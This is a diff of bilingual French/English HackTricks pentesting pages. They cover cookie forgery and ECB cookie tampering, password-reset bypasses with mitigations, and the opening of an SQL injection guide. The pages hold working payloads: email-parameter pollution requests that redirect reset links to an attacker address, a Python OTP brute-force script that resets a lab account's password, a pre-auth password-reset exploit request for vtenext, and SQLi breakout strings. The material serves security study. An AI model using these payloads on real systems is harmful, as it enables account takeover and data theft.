1. Obtenir la signature du nom d'utilisateur **administ** = **t**
|
||||
2. Obtenir la signature du nom d'utilisateur **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Placer dans le cookie la valeur **administrator+t'** (**t'** sera une signature valide de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Si le cookie est chiffré en utilisant ECB, il pourrait être vulnérable.\
|
||||
Lorsque vous vous connectez, le cookie que vous recevez doit toujours être le même.
|
||||
If the cookie is encrypted using ECB it could be vulnerable.\
|
||||
When you log in the cookie that you receive has to be always the same.
|
||||
|
||||
**Comment détecter et attaquer :**
|
||||
|
||||
Créez 2 utilisateurs avec presque les mêmes données (nom d'utilisateur, mot de passe, email, etc.) et essayez de découvrir un certain motif à l'intérieur du cookie donné.
|
||||
Créer 2 users avec des données presque identiques (username, password, email, etc.) et essayer de découvrir un motif dans le cookie fourni
|
||||
|
||||
Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré).
|
||||
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
|
||||
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Donc, sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du nom d'utilisateur "admin".
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,181 +1,182 @@
|
||||
# Réinitialisation/Mot de passe oublié Bypass
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Fuite de jeton de réinitialisation de mot de passe via le référent**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- L'en-tête HTTP referer peut divulguer le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
|
||||
- **Impact** : Prise de contrôle potentielle du compte via des attaques de Cross-Site Request Forgery (CSRF).
|
||||
- **Exploitation** : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, **demandez une réinitialisation de mot de passe** à votre adresse e-mail et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes à l'aide de Burp Suite**. Inspectez les requêtes pour voir si **l'en-tête référent contient le jeton de réinitialisation de mot de passe**, car cela pourrait exposer des informations sensibles à des tiers.
|
||||
- L'en-tête HTTP referer peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
|
||||
- **Impact** : Prise de contrôle potentielle de compte via des attaques Cross-Site Request Forgery (CSRF).
|
||||
- **Exploitation** : Pour vérifier si un password reset token leak dans le referer header, **demandez une réinitialisation de mot de passe** vers votre adresse email et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si le **referer header contient le password reset token**, car cela pourrait exposer des informations sensibles à des tiers.
|
||||
- **Références** :
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Article sur la fuite de jeton de réinitialisation de mot de passe](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Empoisonnement de réinitialisation de mot de passe**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Les attaquants peuvent manipuler l'en-tête Host lors des demandes de réinitialisation de mot de passe pour pointer le lien de réinitialisation vers un site malveillant.
|
||||
- **Impact** : Conduit à une prise de contrôle potentielle du compte en divulguant des jetons de réinitialisation aux attaquants.
|
||||
- **Étapes d'atténuation** :
|
||||
- Validez l'en-tête Host par rapport à une liste blanche de domaines autorisés.
|
||||
- Utilisez des méthodes sécurisées côté serveur pour générer des URL absolues.
|
||||
- **Patch** : Utilisez `$_SERVER['SERVER_NAME']` pour construire des URL de réinitialisation de mot de passe au lieu de `$_SERVER['HTTP_HOST']`.
|
||||
- Les attaquants peuvent manipuler le Host header pendant les requêtes de password reset pour pointer le reset link vers un site malveillant.
|
||||
- **Impact** : Peut conduire à une prise de contrôle de compte potentielle via le leak des reset tokens vers les attaquants.
|
||||
- **Mesures d'atténuation** :
|
||||
- Valider le Host header contre une whitelist de domaines autorisés.
|
||||
- Utiliser des méthodes serveur sécurisées pour générer des URLs absolues.
|
||||
- **Patch** : Utiliser `$_SERVER['SERVER_NAME']` pour construire les password reset URLs au lieu de `$_SERVER['HTTP_HOST']`.
|
||||
- **Références** :
|
||||
- [Article Acunetix sur l'empoisonnement de réinitialisation de mot de passe](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Réinitialisation de mot de passe en manipulant le paramètre e-mail**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Les attaquants peuvent manipuler la demande de réinitialisation de mot de passe en ajoutant des paramètres e-mail supplémentaires pour détourner le lien de réinitialisation.
|
||||
Les attaquants peuvent manipuler la requête de password reset en ajoutant des paramètres email supplémentaires pour détourner le lien de réinitialisation.
|
||||
|
||||
- Ajoutez l'e-mail de l'attaquant comme deuxième paramètre en utilisant &
|
||||
- Ajouter l'email de l'attaquant comme second paramètre en utilisant &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant %20
|
||||
- Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant |
|
||||
Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant cc
|
||||
Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant bcc
|
||||
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre en utilisant ,
|
||||
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Ajoutez l'email de l'attaquant comme deuxième paramètre dans le tableau json
|
||||
- Ajouter l'email de l'attaquant comme deuxième paramètre dans le tableau json
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Étapes d'atténuation** :
|
||||
- Analyser et valider correctement les paramètres d'email côté serveur.
|
||||
- Utiliser des instructions préparées ou des requêtes paramétrées pour prévenir les attaques par injection.
|
||||
- **Références** :
|
||||
- **Mesures d'atténuation**:
|
||||
- Analyser et valider correctement les paramètres d'adresse e-mail côté serveur.
|
||||
- Utiliser des prepared statements ou des requêtes paramétrées pour prévenir les attaques par injection.
|
||||
- **Références**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Changer l'email et le mot de passe de n'importe quel utilisateur via les paramètres API**
|
||||
## **Modification de l'email et du mot de passe de n'importe quel utilisateur via les paramètres API**
|
||||
|
||||
- Les attaquants peuvent modifier les paramètres d'email et de mot de passe dans les requêtes API pour changer les identifiants du compte.
|
||||
- Les attaquants peuvent modifier les paramètres d'adresse e-mail et de mot de passe dans les requêtes API pour changer les identifiants du compte.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Étapes d'atténuation** :
|
||||
- Assurez-vous d'une validation stricte des paramètres et des vérifications d'authentification.
|
||||
- Mettez en œuvre une journalisation et une surveillance robustes pour détecter et répondre aux activités suspectes.
|
||||
- **Référence** :
|
||||
- [Prise de contrôle complète du compte via manipulation des paramètres API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- **Étapes d'atténuation**:
|
||||
- Assurer une validation stricte des paramètres et des vérifications d'authentification.
|
||||
- Mettre en place des logs et une surveillance robustes pour détecter et répondre aux activités suspectes.
|
||||
- **Référence**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Pas de limitation de taux : Bombardement d'emails**
|
||||
## **Absence de limitation de débit : Email Bombing**
|
||||
|
||||
- L'absence de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'emails, submergeant l'utilisateur avec des emails de réinitialisation.
|
||||
- **Étapes d'atténuation** :
|
||||
- Mettez en œuvre une limitation de taux basée sur l'adresse IP ou le compte utilisateur.
|
||||
- Utilisez des défis CAPTCHA pour prévenir les abus automatisés.
|
||||
- **Références** :
|
||||
- [Rapport HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
- L'absence de limitation de débit sur les requêtes de réinitialisation de mot de passe peut conduire à de l'Email Bombing, submergeant l'utilisateur par des e-mails de réinitialisation.
|
||||
- **Étapes d'atténuation**:
|
||||
- Implémenter une limitation de débit basée sur l'adresse IP ou le compte utilisateur.
|
||||
- Utiliser des défis CAPTCHA pour empêcher l'abus automatisé.
|
||||
- **Références**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Découvrez comment le jeton de réinitialisation de mot de passe est généré**
|
||||
## **Découvrir comment le Password Reset Token est généré**
|
||||
|
||||
- Comprendre le modèle ou la méthode derrière la génération de jetons peut conduire à prédire ou à forcer des jetons. Quelques options :
|
||||
- Comprendre le schéma ou la méthode derrière la génération du token peut permettre de prédire ou de brute-forcer les tokens. Quelques options :
|
||||
- Basé sur l'horodatage
|
||||
- Basé sur l'ID utilisateur
|
||||
- Basé sur l'email de l'utilisateur
|
||||
- Basé sur le prénom et le nom
|
||||
- Basé sur la date de naissance
|
||||
- Basé sur la cryptographie
|
||||
- **Étapes d'atténuation** :
|
||||
- Utilisez des méthodes cryptographiques solides pour la génération de jetons.
|
||||
- Assurez-vous d'une randomisation et d'une longueur suffisantes pour prévenir la prévisibilité.
|
||||
- **Outils** : Utilisez Burp Sequencer pour analyser la randomisation des jetons.
|
||||
- **Étapes d'atténuation**:
|
||||
- Utiliser des méthodes cryptographiques solides pour la génération des tokens.
|
||||
- Assurer une entropie et une longueur suffisantes pour éviter toute prévisibilité.
|
||||
- **Outils**: Utiliser Burp Sequencer pour analyser l'aléa des tokens.
|
||||
|
||||
## **UUID devinable**
|
||||
## **UUID prévisible**
|
||||
|
||||
- Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les brute-forcer pour générer des reset tokens valides. Vérifier :
|
||||
|
||||
- Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les forcer pour générer des jetons de réinitialisation valides. Vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Étapes d'atténuation** :
|
||||
- Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour les autres versions.
|
||||
- **Outils** : Utilisez [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUID.
|
||||
- **Étapes d'atténuation**:
|
||||
- Utiliser la GUID version 4 pour l'aléa ou implémenter des mesures de sécurité additionnelles pour les autres versions.
|
||||
- **Outils**: Utiliser [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUIDs.
|
||||
|
||||
## **Manipulation de réponse : Remplacer une mauvaise réponse par une bonne**
|
||||
## **Manipulation de la réponse : Replace Bad Response With Good One**
|
||||
|
||||
- Manipuler les réponses HTTP pour contourner les messages d'erreur ou les restrictions.
|
||||
- **Étapes d'atténuation** :
|
||||
- Mettez en œuvre des vérifications côté serveur pour garantir l'intégrité des réponses.
|
||||
- Utilisez des canaux de communication sécurisés comme HTTPS pour prévenir les attaques de type homme du milieu.
|
||||
- **Référence** :
|
||||
- [Bug critique lors d'un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- Manipulation des réponses HTTP pour contourner les messages d'erreur ou les restrictions.
|
||||
- **Étapes d'atténuation**:
|
||||
- Implémenter des vérifications côté serveur pour garantir l'intégrité des réponses.
|
||||
- Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
|
||||
- **Référence**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Utilisation d'un jeton expiré**
|
||||
## **Utilisation d'un token expiré**
|
||||
|
||||
- Tester si les jetons expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
|
||||
- **Étapes d'atténuation** :
|
||||
- Mettez en œuvre des politiques strictes d'expiration des jetons et validez l'expiration des jetons côté serveur.
|
||||
- Tester si des tokens expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
|
||||
- **Étapes d'atténuation**:
|
||||
- Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.
|
||||
|
||||
## **Forçage du jeton de réinitialisation de mot de passe**
|
||||
## **Brute-force du token de réinitialisation**
|
||||
|
||||
- Tenter de forcer le jeton de réinitialisation en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limites de taux basées sur l'IP.
|
||||
- **Étapes d'atténuation** :
|
||||
- Mettez en œuvre des mécanismes robustes de limitation de taux et de verrouillage de compte.
|
||||
- Surveillez les activités suspectes indiquant des attaques par force brute.
|
||||
- Tentative de brute-force du token de reset en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limitations basées sur l'IP.
|
||||
- **Étapes d'atténuation**:
|
||||
- Implémenter une limitation de débit robuste et des mécanismes de verrouillage de compte.
|
||||
- Surveiller les activités suspectes indicatrices d'attaques par brute-force.
|
||||
|
||||
## **Essayez d'utiliser votre jeton**
|
||||
## **Essayer d'utiliser votre token**
|
||||
|
||||
- Tester si le jeton de réinitialisation d'un attaquant peut être utilisé en conjonction avec l'email de la victime.
|
||||
- **Étapes d'atténuation** :
|
||||
- Assurez-vous que les jetons sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
|
||||
- Tester si le token de reset d'un attaquant peut être utilisé conjointement avec l'email de la victime.
|
||||
- **Étapes d'atténuation**:
|
||||
- S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
|
||||
|
||||
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
|
||||
|
||||
- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
|
||||
- **Étapes d'atténuation** :
|
||||
- Mettez en œuvre une gestion appropriée des sessions, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.
|
||||
- **Étapes d'atténuation**:
|
||||
- Mettre en place une gestion de session correcte, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.
|
||||
|
||||
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
|
||||
|
||||
- Les jetons de réinitialisation doivent avoir un temps d'expiration après lequel ils deviennent invalides.
|
||||
- **Étapes d'atténuation** :
|
||||
- Définissez un temps d'expiration raisonnable pour les jetons de réinitialisation et appliquez-le strictement côté serveur.
|
||||
- Les reset tokens doivent avoir une durée d'expiration après laquelle ils deviennent invalides.
|
||||
- **Étapes d'atténuation**:
|
||||
- Définir un délai d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.
|
||||
|
||||
## **Contournement de la limite de taux OTP en changeant votre session**
|
||||
## **Bypass de la limitation OTP en changeant votre session**
|
||||
|
||||
- Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP était faible (<= 4 chiffres), alors nous pouvons effectivement forcer l'OTP.
|
||||
- **exploitation** :
|
||||
- il suffit de demander un nouveau jeton de session après avoir été bloqué par le serveur.
|
||||
- **Exemple** de code qui exploite ce bug en devinant aléatoirement l'OTP (lorsque vous changez la session, l'OTP changera également, et nous ne pourrons donc pas le forcer séquentiellement !) :
|
||||
- Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP est faible (<= 4 chiffres), on peut effectivement brute-forcer l'OTP.
|
||||
- **exploitation**:
|
||||
- il suffit de demander un nouveau token de session après avoir été bloqué par le serveur.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Contournement d'authentification par réinitialisation de mot de passe
|
||||
# par coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Démarrage de l'attaque !")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] Cela pourrait prendre environ 5 minutes pour finir !")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nombre aléatoire de 0 à 9999 avec 4 d
|
||||
parms["s"] = 164 # pas important, cela n'affecte que le frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # suivre le nombre d'essais
|
||||
out = requests.get(logout,headers=headers) # vous déconnecter
|
||||
mainp = requests.get(root) # obtient un autre phpssid (jeton)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # extraire le sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # mettre à jour les en-têtes avec la nouvelle session
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envoie l'email pour changer le mot de passe pour
|
||||
ter = 0 # réinitialiser ter pour obtenir une nouvelle session après 8 essais
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # c'est la longueur de la page lorsque vous obtenez le code de récupération correctement (obtenu par test)
|
||||
print(len(res.text)) # pour info de débogage
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # ici nous allons changer le mot de passe en quelque chose de nouveau
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Le mot de passe a été changé en :D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Attaque arrêtée")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété du compte. Si l'endpoint accepte un paramètre action comme change_password et un username/nouveau mot de passe dans le corps de la requête, un attaquant peut réinitialiser arbitrairement des comptes en pré-auth.
|
||||
|
||||
Schéma vulnérable (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Requête d'exploitation (concept):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mesures d'atténuation:
|
||||
- Exiger toujours un reset token valide et limité dans le temps, lié au compte et à la session, avant de modifier le mot de passe.
|
||||
- Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; appliquer l'authentification pour les changements de mot de passe ordinaires et vérifier l'ancien mot de passe.
|
||||
- Invalider toutes les sessions actives et les reset tokens après un changement de mot de passe.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Qu'est-ce que l'injection SQL ?
|
||||
## Qu'est-ce que SQL injection ?
|
||||
|
||||
Une **injection SQL** est une faille de sécurité qui permet aux attaquants de **perturber les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **voir**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée à laquelle l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service.
|
||||
Une **SQL injection** est une faille de sécurité qui permet à un attaquant d'**interférer avec les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre à un attaquant de **consulter**, **modifier** ou **supprimer** des données auxquelles il ne devrait pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée accessible par l'application. De telles actions peuvent entraîner des modifications permanentes du fonctionnement ou du contenu de l'application, voire la compromission du serveur ou un déni de service.
|
||||
|
||||
## Détection des points d'entrée
|
||||
## Détection du point d'entrée
|
||||
|
||||
Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison de réponses serveur inhabituelles aux entrées liées à SQLi, la **première étape** est de comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace. Voici quelques exemples utiles :
|
||||
Lorsqu'un site semble être **vulnérable à SQL injection (SQLi)** en raison de réponses inhabituelles du serveur à des entrées liées à SQLi, la **première étape** est de comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode permettant de **s'échapper du contexte actuel** efficacement. Voici quelques exemples utiles :
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Ensuite, vous devez savoir comment **corriger la requête afin qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
|
||||
Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **saisir** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **saisir** vos données et **ajouter un symbole de commentaire à la fin**.
|
||||
|
||||
_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque qu'une requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._
|
||||
_Notez que si vous pouvez voir les messages d'erreur ou repérer les différences entre une requête qui fonctionne et une qui ne fonctionne pas, cette phase sera plus facile._
|
||||
|
||||
### **Commentaires**
|
||||
```sql
|
||||
@ -53,21 +53,21 @@ HQL does not support comments
|
||||
```
|
||||
### Confirmation avec des opérations logiques
|
||||
|
||||
Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL.
|
||||
Une méthode fiable pour confirmer une vulnérabilité SQL injection consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` renvoyant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité SQL injection.
|
||||
|
||||
De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL.
|
||||
De même, l'application d'**opérations mathématiques** constitue une technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une SQL injection.
|
||||
|
||||
Exemples démontrant la confirmation par opération logique :
|
||||
Exemples démontrant la confirmation par opérations logiques :
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
